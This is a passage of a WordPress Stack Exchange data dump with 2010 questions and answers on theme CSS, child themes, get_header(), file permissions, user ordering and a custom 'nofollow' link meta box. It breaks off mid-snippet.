  <row Id="5186" PostTypeId="2" ParentId="5183" CreationDate="2010-12-11T11:15:32.303" Score="1" ViewCount="" Body="&lt;p&gt;Try visiting the list of users, and re-change your role to administrator. WP may have messed up the permissions array during the upgrade.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-11T11:15:32.303" />
  <row Id="5187" PostTypeId="2" ParentId="5182" CreationDate="2010-12-11T11:16:34.250" Score="0" ViewCount="" Body="&lt;p&gt;You would need to edit the css files and adjust width declarations as needed. Consider creating a child theme if you do so.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-11T11:16:34.250" />
  <row Id="5188" PostTypeId="2" ParentId="5181" CreationDate="2010-12-11T11:18:44.233" Score="2" ViewCount="" Body="&lt;p&gt;Using FTP, grab your theme's functions.php, and add the above code within it, minus the leading &lt;code&gt;&amp;lt;?php&lt;/code&gt; and the trailing &lt;code&gt;?&amp;gt;&lt;/code&gt;, towards the latter file's end (before the &lt;code&gt;?&amp;gt;&lt;/code&gt;, which terminates php).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've edited your function so it can then be used in a template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_twitter_feed('username'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-11T12:58:17.177" LastActivityDate="2010-12-11T12:58:17.177" CommentCount="10" />
  <row Id="5189" PostTypeId="2" ParentId="5182" CreationDate="2010-12-11T11:21:33.357" Score="1" ViewCount="" Body="&lt;p&gt;yes, go to your /wp-content/themes/manifest_v1.1/style.css and edit the following IDs to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#siteWrapper{&#xA;  margin: 0 auto;&#xA;  padding-top: 15px;&#xA;  width: 97%;&#xA;  text-align: center;&#xA;  position: relative;&#xA;&#xA;}&#xA;&#xA;#coreContent{&#xA;  float: auto;&#xA;  width: auto;&#xA;  margin-top: 8px;&#xA;}&#xA;&#xA;#footer{&#xA;  width: 97%;&#xA;  margin: 40px auto 0;&#xA;  padding: 20px 0 35px 0;&#xA;  border-top: 4px double #ccc;&#xA;  color: #666;&#xA;  text-align: center;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;besides that - I see you have some blue image just below this Intef image... I believe one of them is not meant to be there? try this CSS I provided with &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;firebug&lt;/a&gt; first to see what you'll get... or just play with firebug and see how you can change themes appearance and then apply it to style.css&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="1535" LastEditorDisplayName="" LastEditDate="2010-12-13T14:21:22.807" LastActivityDate="2010-12-13T14:21:22.807" CommentCount="3" />
  <row Id="5190" PostTypeId="2" ParentId="5185" CreationDate="2010-12-11T11:41:28.863" Score="5" ViewCount="" Body="&lt;p&gt;It really depends on who your target audience is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping them together:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's the real you.&lt;/li&gt;&#xA;&lt;li&gt;You won't need to worry about what goes where.&lt;/li&gt;&#xA;&lt;li&gt;There's always something (off topic) to blog about.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cons:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Narrow-minded readers are exasperated by diversity. Especially if some of the topics you blog about can be controversial. (And narrow-minded readers are many.)&lt;/li&gt;&#xA;&lt;li&gt;It's harder to monetize, if that's the stuff you're into.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Splitting them on multiple sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Readers always get on-topic content.&lt;/li&gt;&#xA;&lt;li&gt;The signal to noise ratio will probably seem higher to newcomers.&lt;/li&gt;&#xA;&lt;li&gt;Fickle readers don't run away when they disagree on topics that may be controversial.&lt;/li&gt;&#xA;&lt;li&gt;It's easier to monetize, if that's the stuff you're into.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cons:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's not the real you.&lt;/li&gt;&#xA;&lt;li&gt;You'll eventually grow tired of behaving like a schizophrenic.&lt;/li&gt;&#xA;&lt;li&gt;There isn't always something on-topic to say, so the rate of posting may occasionally suffer.&lt;/li&gt;&#xA;&lt;li&gt;Your readers' interest might fade faster: there's only so much you can read on a topic before you move on.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tip: if you end up setting up multiple blogs, consider maintaining a twitter account or a brain dump blog, for stuff that fits nowhere.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-11T12:07:00.167" LastActivityDate="2010-12-11T12:07:00.167" CommentCount="2" />
  <row Id="5191" PostTypeId="2" ParentId="5178" CreationDate="2010-12-11T11:52:01.037" Score="1" ViewCount="" Body="&lt;p&gt;This line in $wp_query might be of interest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where = apply_filters_ref_array('posts_where', array( $where, &amp;amp;$this ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could probably use a filter to toss in an additional post_type = 'post'. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function search_where($where, &amp;amp;$wp_query) {&#xA;  if ($wp_query-&amp;gt;is_search)&#xA;    where .= ' AND post_type = 'post';&#xA;  return $where;&#xA;}&#xA;add_filter('posts_where', 'search_where', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-11T11:52:01.037" CommentCount="4" />
  <row Id="5192" PostTypeId="2" ParentId="5179" CreationDate="2010-12-11T11:59:10.923" Score="2" ViewCount="" Body="&lt;p&gt;In PHP, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;POST&quot; action=&quot;url&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form enctype=&quot;multipart/form-data&quot; method=&quot;post&quot; action=&quot;url&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then fetch the resulting files using the $_FILES superglobal.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In WP 3.1, the whole uploads infrastructure should be available as an API unless I'm mistaking. But it won't necessarily work on the front end, let alone allow you to easily decide where the files go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use parts of it to validate file types, etc., though. See the stuff in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp-includes/media.php&lt;/li&gt;&#xA;&lt;li&gt;wp-admin/includes/media.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-11T11:59:10.923" CommentCount="2" />
  <row Id="5193" PostTypeId="2" ParentId="5183" CreationDate="2010-12-11T12:55:17.610" Score="0" ViewCount="" Body="&lt;p&gt;Probably it changed the permissions of the &lt;code&gt;wp-content&lt;/code&gt; directory itself, or one of its subdirectories, in this case, maybe the &lt;code&gt;plugins&lt;/code&gt; folder. You can check that with a ftp client (like FileZilla) or ssh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing with my installations, the wp-content folder has &lt;code&gt;0755&lt;/code&gt; permissions, which means it has read, write and execution access for the owner, and read and execution access to the group and others, the files inside &lt;code&gt;wp-content&lt;/code&gt; has &lt;code&gt;0644&lt;/code&gt; permissions (read, write and no execution access for the owner, and only read permissions for the group and others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to make sure all the permissions are correctly is run through ssh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; chmod -R a-x+X wp-content/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That takes out the the execution permission (&lt;code&gt;-x&lt;/code&gt;) for every user (&lt;code&gt;a&lt;/code&gt;) and file inside the folder and its children(&lt;code&gt;-R&lt;/code&gt;) and only add it for the directories (&lt;code&gt;+X&lt;/code&gt;; that need execution permission to be browsed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the permissions are all messed up (let's suppose that files doesn't have the 0644 permissions), you can do it by hand or by doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; chmod -R 0755 wp-content/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will make every file have execution permission (I think is a security issue, but will last for a few seconds ;)). And then use the first command, that way all permissions would be &quot;reset&quot;; not very elegant solution, but works.&lt;/p&gt;&#xA;" OwnerUserId="1055" LastActivityDate="2010-12-11T12:55:17.610" CommentCount="2" />
  <row Id="5194" PostTypeId="1" CreationDate="2010-12-11T14:05:37.980" Score="5" ViewCount="565" Body="&lt;p&gt;The basic theme - in fact every theme I've looked at - uses get_header() to include the header file, but I don't see any reason for doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's are the advantages of using &lt;code&gt;get_header()&lt;/code&gt; instead of a simple &lt;code&gt;include('file.php')&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1640" LastActivityDate="2011-08-03T14:47:49.590" Title="Any advantage to using get_header() over include('header.php')?" Tags="&lt;template&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="5195" PostTypeId="2" ParentId="5194" CreationDate="2010-12-11T14:14:24.990" Score="11" ViewCount="" Body="&lt;p&gt;Using generic function means throwing out layer of WP API:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_header&lt;/code&gt; hook would be gone;&lt;/li&gt;&#xA;&lt;li&gt;compatibility with fetching different headers by name (&lt;code&gt;&quot;header-{$name}.php&quot;&lt;/code&gt;) would be gone;&lt;/li&gt;&#xA;&lt;li&gt;usage of &lt;code&gt;locate_template()&lt;/code&gt; would be gone, which likely would destroy compatibility with child themes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can always look at &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-includes/general-template.php#L9&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; to see what exactly function does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress uses own function not just-because. It is usually for concrete compatibility or functionality reasons.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-11T14:14:24.990" CommentCount="1" />
  <row Id="5196" PostTypeId="2" ParentId="5183" CreationDate="2010-12-11T14:16:48.343" Score="0" ViewCount="" Body="&lt;p&gt;I'll try these and report back.  Many thx, I'll let you know!!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-11T14:16:48.343" CommentCount="1" />
  <row Id="5197" PostTypeId="2" ParentId="5194" CreationDate="2010-12-11T15:00:38.447" Score="0" ViewCount="" Body="&lt;p&gt;The main reason is that you can hook into get_header, which means you can do header-y stuff in a child theme, or a separate function file without needing to edit the parent theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want to edit parent theme files because it makes upgrading them harder, as you then need to reapply your changes. If those changes are isolated in a child theme it makes upgrading MUCH easier&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-12-11T15:00:38.447" />
  <row Id="5198" PostTypeId="1" CreationDate="2010-12-11T16:58:54.007" Score="0" ViewCount="282" Body="&lt;p&gt;I would like to replace the twenty ten's theme logo (text) by a picture, Is there any plugin allowing me to do that.&#xA;I know how to do it, but every time wordpress gets updated (often) the code comes back to how it was before I changed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1796" LastActivityDate="2010-12-11T17:20:22.600" Title="Twenty Ten Theme: Replace the Logo by a picture without moving the code" Tags="&lt;themes&gt;&lt;plugins&gt;&lt;theme-twenty-ten&gt;&lt;logo&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5199" PostTypeId="2" ParentId="5198" CreationDate="2010-12-11T17:20:22.600" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet is to make a child theme and simply add in the twentyten header.php with a link to your image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make child theme, &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be something like this ( under the branding div.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;branding&quot; role=&quot;banner&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;logo&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo( 'template_url' ); ?&amp;gt;/images/YourImage.png&quot; alt=&quot;&quot;/&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- #branding --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-11T17:20:22.600" />
  <row Id="5200" PostTypeId="1" AcceptedAnswerId="5201" CreationDate="2010-12-11T18:47:11.077" Score="0" ViewCount="98" Body="&lt;p&gt;I would like to change the order in which users are displayed in the admin. At the moment it seems that they are order by the username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have found the right place in the wp-admin/users.php, which is around line 187:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORDER BY user_login&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not 100% sure if this is right as I don't know much about the code. Could anyone confirm if I am in the right place and what I should do to change the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it only possible that I could have an ascending or descending order for example, A,B,C,D,E or E,D,C,B,A? &#xA;It would be idea if I could specify the order differently, for example, C,A,D,B,E or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-12-11T19:28:28.413" Title="How to change the order in which users are displayed in admin?" Tags="&lt;users&gt;" AnswerCount="1" />
  <row Id="5201" PostTypeId="2" ParentId="5200" CreationDate="2010-12-11T19:28:28.413" Score="2" ViewCount="" Body="&lt;p&gt;Nope, the line you found seems to be some basic preliminary query. Selection of users for display in table seems to be handled by &lt;code&gt;WP_User_Search&lt;/code&gt; class. Luckily it can be hooked into easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this (changes order to descending):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_user_search', 'change_user_order');&#xA;&#xA;function change_user_order($query) {&#xA;&#xA;    $query-&amp;gt;query_orderby = ' ORDER BY user_login DESC';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS I am not sure if this can interfere with something else, so might require checks to only run on that specific page.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-11T19:28:28.413" CommentCount="2" />
  <row Id="5202" PostTypeId="1" AcceptedAnswerId="5204" CreationDate="2010-12-11T21:40:51.557" Score="1" ViewCount="78" Body="&lt;p&gt;I need a function that returns true when the author is an admin or an editor or of a certain role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use is_single because I have set up a forum and there are a million singles out there and I need a different layout for THE posts (the ones written in the blog by admins and editors) than from the forum entries&lt;/p&gt;&#xA;" LastActivityDate="2010-12-11T22:15:24.133" Title="A function that returns true when the Author is a certain role is_author(admin)?" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="5203" PostTypeId="2" ParentId="5160" CreationDate="2010-12-11T21:41:50.543" Score="0" ViewCount="" Body="&lt;p&gt;Here's a function which removes the existing link_xfn meta box, and adds another identical one with a checkbox for &quot;nofollow&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'nofollow_enabled_xfn_box' );&#xA;&#xA;function nofollow_enabled_xfn_box() {&#xA;    global $pagenow;&#xA;    if ( $pagenow != 'link.php' ) return;&#xA;&#xA;    remove_meta_box( 'linkxfndiv', 'link', 'normal' );&#xA;    add_meta_box('linkxfndiv', __('Link Relationship (XFN)'), 'se5160_link_xfn_meta_box', 'link', 'normal' );&#xA;}&#xA;&#xA;/**&#xA; * Modified xfn form fields box, with &quot;nofollow&quot; link.&#xA; *&#xA; * @based on function link_xfn_meta_box() (from /wp-admin/includes/meta-boxes.php)&#xA; *&#xA; * @param object $link&#xA; */&#xA;function se5160_link_xfn_meta_box($link) {&#xA;?&amp;gt;&#xA;&amp;lt;table class=&quot;editform&quot; style=&quot;width: 100%;&quot; cellspacing=&quot;2&quot; cellpadding=&quot;5&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th style=&quot;width: 20%;&quot; scope=&quot;row&quot;&amp;gt;&amp;lt;label for=&quot;link_rel&quot;&amp;gt;&amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('rel:') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td style=&quot;width: 80%;&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;link_rel&quot; id=&quot;link_rel&quot; size=&quot;50&quot; value=&quot;&amp;lt;?php echo ( isset( $link-&amp;gt;link_rel ) ? esc_attr($link-&amp;gt;link_rel) : ''); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;            &amp;lt;table cellpadding=&quot;3&quot; cellspacing=&quot;5&quot; class=&quot;form-table&quot;&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('nofollow') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('not a trusted link') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;label for=&quot;nofollow&quot;&amp;gt;&#xA;                    &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;nofollow&quot; value=&quot;nofollow&quot; id=&quot;nofollow&quot; &amp;lt;?php xfn_check('seo','nofollow'); ?&amp;gt; /&amp;gt;&#xA;                    &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('not a trusted link') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;me&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;checkbox&quot; name=&quot;identity&quot; value=&quot;me&quot; id=&quot;me&quot; &amp;lt;?php xfn_check('identity', 'me'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php _e('another web address of mine') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;contact&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;friendship&quot; value=&quot;contact&quot; id=&quot;contact&quot; &amp;lt;?php xfn_check('friendship', 'contact'); ?&amp;gt; /&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('contact') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;acquaintance&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;friendship&quot; value=&quot;acquaintance&quot; id=&quot;acquaintance&quot; &amp;lt;?php xfn_check('friendship', 'acquaintance'); ?&amp;gt; /&amp;gt;  &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('acquaintance') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;friend&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;friendship&quot; value=&quot;friend&quot; id=&quot;friend&quot; &amp;lt;?php xfn_check('friendship', 'friend'); ?&amp;gt; /&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friend') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;friendship&quot;&amp;gt;&#xA;                        &amp;lt;input name=&quot;friendship&quot; type=&quot;radio&quot; class=&quot;valinp&quot; value=&quot;&quot; id=&quot;friendship&quot; &amp;lt;?php xfn_check('friendship'); ?&amp;gt; /&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;met&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;physical&quot; value=&quot;met&quot; id=&quot;met&quot; &amp;lt;?php xfn_check('physical', 'met'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('met') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;co-worker&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;professional&quot; value=&quot;co-worker&quot; id=&quot;co-worker&quot; &amp;lt;?php xfn_check('professional', 'co-worker'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-worker') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;colleague&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;professional&quot; value=&quot;colleague&quot; id=&quot;colleague&quot; &amp;lt;?php xfn_check('professional', 'colleague'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('colleague') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;co-resident&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;geographical&quot; value=&quot;co-resident&quot; id=&quot;co-resident&quot; &amp;lt;?php xfn_check('geographical', 'co-resident'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-resident') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;neighbor&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;geographical&quot; value=&quot;neighbor&quot; id=&quot;neighbor&quot; &amp;lt;?php xfn_check('geographical', 'neighbor'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('neighbor') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;geographical&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;geographical&quot; value=&quot;&quot; id=&quot;geographical&quot; &amp;lt;?php xfn_check('geographical'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;child&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;child&quot; id=&quot;child&quot; &amp;lt;?php xfn_check('family', 'child'); ?&amp;gt;  /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('child') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;kin&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;kin&quot; id=&quot;kin&quot; &amp;lt;?php xfn_check('family', 'kin'); ?&amp;gt;  /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('kin') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;parent&quot;&amp;gt;&#xA;                  